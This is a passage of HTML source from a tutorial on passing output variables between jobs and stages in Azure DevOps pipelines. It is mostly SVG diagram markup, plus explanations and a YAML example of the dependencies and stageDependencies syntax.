580.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 584.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003e#\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003e#\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='164' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='148' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='164' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='164' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='164' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='712' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='148' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eCrucial Rule:\u003c/strong\u003e The task producing the variable \u003cstrong\u003emust\u003c/strong\u003e have a \u003ccode\u003ename\u003c/code\u003e property. This name becomes the reference key for all downstream lookups. You cannot use the task\u0026rsquo;s display name.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSecurity Warning:\u003c/strong\u003e Output variables are not automatically masked in logs. If you need to pass a secret, you must explicitly use the \u003ccode\u003eissecret=true\u003c/code\u003e flag: \u003ccode\u003e##vso[task.setvariable ...;isOutput=true;issecret=true]\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"12-step-2-declaring-the-dependency\"\u003e1.2: Step 2: Declaring the Dependency\u003c/h3\u003e\n\u003cp\u003eA job can only \u0026ldquo;see\u0026rdquo; variables from jobs it explicitly depends on. Use the \u003ccode\u003edependsOn\u003c/code\u003e property to create the logical link. In a multi-stage pipeline, if you need a variable from three jobs ago, you must ensure a continuous chain of \u003ccode\u003edependsOn\u003c/code\u003e links exists from the producer to the consumer.\u003c/p\u003e\n\u003ch2 id=\"2-consuming-data-across-jobs-same-stage\"\u003e2. Consuming Data Across Jobs (Same Stage)\u003c/h2\u003e\n\u003cp\u003eWhen jobs are in the same stage, you use the \u003ccode\u003edependencies\u003c/code\u003e context.\u003c/p\u003e\n\u003ch3 id=\"21-the-mapping-pattern\"\u003e2.1: The Mapping Pattern\u003c/h3\u003e\n\u003cp\u003eThe most reliable way to ingest an output is to map it to a local variable in the receiving job\u0026rsquo;s \u003ccode\u003evariables:\u003c/code\u003e block. This creates a clean \u0026ldquo;API contract\u0026rdquo; for your job logic and avoids using long, complex strings deep inside your task inputs.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eProducer\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;##vso[task.setvariable variable=token;isOutput=true]abc123\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eGetAuth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eConsumer\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eProducer\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Syntax: $[ dependencies.JobName.outputs[\u0026#39;TaskName.VariableName\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esecretToken\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.Producer.outputs[\u0026#39;GetAuth.token\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh --token $(secretToken)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"22-handling-multiple-dependencies\"\u003e2.2: Handling Multiple Dependencies\u003c/h3\u003e\n\u003cp\u003eYou can aggregate data from multiple parallel builds by mapping each one individually. A common pattern is a \u0026ldquo;Collector\u0026rdquo; job that waits for three regional builds to finish and then passes all three artifact versions to a single deployment task.\u003c/p\u003e\n\u003ch2 id=\"3-consuming-data-across-stages\"\u003e3. Consuming Data Across Stages\u003c/h2\u003e\n\u003cp\u003eMoving data across stages requires an extra level of addressing using the \u003ccode\u003estageDependencies\u003c/code\u003e context.\u003c/p\u003e\n\u003ch3 id=\"31-the-stagedependencies-context\"\u003e3.1: The \u003ccode\u003estageDependencies\u003c/code\u003e Context\u003c/h3\u003e\n\u003cp\u003eThe syntax expands to include the source stage name:\n\u003ccode\u003e$[ stageDependencies.StageName.JobName.outputs['TaskName.VariableName'] ]\u003c/code\u003e.\u003c/p\u003e\n\u003ch4 id=\"stagedependencies-3-tier-addressing\"\u003estageDependencies 3-Tier Addressing\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 720 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 112,80 L 344,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,80 L 584,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,8 L 104,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,64 L 104,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,16 L 352,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,64 L 352,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,40 L 360,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,16 L 592,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,64 L 592,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,160 L 592,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 600,40 L 600,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='592.000000,80.000000 580.000000,74.400002 580.000000,85.599998' fill='currentColor' transform='rotate(0.000000, 584.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='600.000000,176.000000 588.000000,170.399994 588.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 592.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='116' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='116' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='148' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='196' fill='currentColor' 